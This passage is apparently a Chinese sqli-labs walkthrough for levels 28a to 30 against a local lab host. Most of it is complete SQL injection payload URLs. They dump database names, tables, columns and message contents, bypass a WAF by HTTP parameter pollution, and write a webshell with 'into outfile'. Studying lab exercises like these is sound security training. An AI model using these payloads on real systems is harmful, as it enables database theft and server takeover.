#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3 and ('1')=('1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),3 and ('1')=('1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-28a/?id=0') union union select select 5,(select group_concat(concat(id,'^',content)) from pikachu.message),3 and ('1')=('1
最终结果:
这关神了个奇了,拿这个url试了一下,啥也没过滤呀,简单极了,http://192.168.101.16/sqli-labs-master/Less-29/,看了代码才发现,这关要在这个url上操作才能get到新知识:
http://192.168.101.16/sqli-labs-master/Less-29/login.php
我悟了……所以这关的哲学意义是没有困难也要自己创造困难吗……
首先,输入正常的数字参数,输出也是正常的:
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1
然后加个单引号试试,不行,被发现并阻止了:
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1'
这关给了个链接:https://owasp.org/www-pdf-archive/AppsecEU09_CarettoniDiPaola_v0.8.pdf
内容是关于HTTP参数污染(HTTP Parameter Pollution,简称HPP)的,正好前段时间简单看过,就是如果输入多个同名参数,可能服务器仅取第一个或者最后一个。用在sql注入的WAF绕过上,就是服务器所有同名参数都取了,但是对某些参数做检测,用其他参数做处理。详情可以参考下面这篇:HTTP参数污染攻击_0xdawn的博客-CSDN博客_http参数污染
根据这个原理,构造url:http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1'
发现可以绕过过滤,返回sql语句报错信息
再往后就是简单的union注入啦,爆数据的payload如下:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=-1'union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
写入webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-29/login.php?id=1&id=1' union select 1,2,'' into outfile 'C:/less29.php'-- s
写入服务器的webshell:
本关代码值得注意的地方用红框框标出来了:
这关有两个和id相关的变量,一个叫$id1一个叫$id,函数java_implimentation()和whitelist()处理的都是$id1,而sql语句中代入的确是$id
来看看java_implimentation()是怎么处理$id1的,它把$id1以&为分割符分割为数组,如果数组的键为'id',则取数组值的前27个字符返回,并跳出循环。
也就是说当url中只有一个id参数时,取id的前27个字符,赋值给$id1;如果url中有两个id参数,则取第一个id参数的前27个字符,赋值给$id1。
再来看看whitelist()是如何处理$id1的,它要求$id1必须以数字开头以数字结尾,也就是$id1必须是数字,否则跳转到hacked.php。
综合来看,如果url中只有一个id参数,则这个参数值必须是数字,才不会跳转到hacked.php页面;而当url中有两个id参数,则whitelist()只检测第一个id参数值,而Nginx+PHP显然通过$_GET['id']获取到的是第二个id参数的值,因此绕过了WAF。
无语,这关和上一关一样,这个url特别简单,就是一般的布尔盲注:http://192.168.101.16/sqli-labs-master/Less-30/
真正的机关在:http://192.168.101.16/sqli-labs-master/Less-30/login.php
这关真的懒得说,和Less29除了闭合不同(这关闭合是双引号),其他都是一样的。既然说到这里了,顺便吐槽一下sqli-labs的标题真的乱起,特别是注入方法,好多不能信的……
爆数据的payload:
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=1" order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=1" order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
写入webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-30/login.php?id=1&id=-1" union select 1,2,'' into outfile 'C:/phpstudy_pro/WWW/less30.php'-- s
写入服务器的webshell:
本关代码就不说啦,和上一关就sql语句的闭合符号不同而已……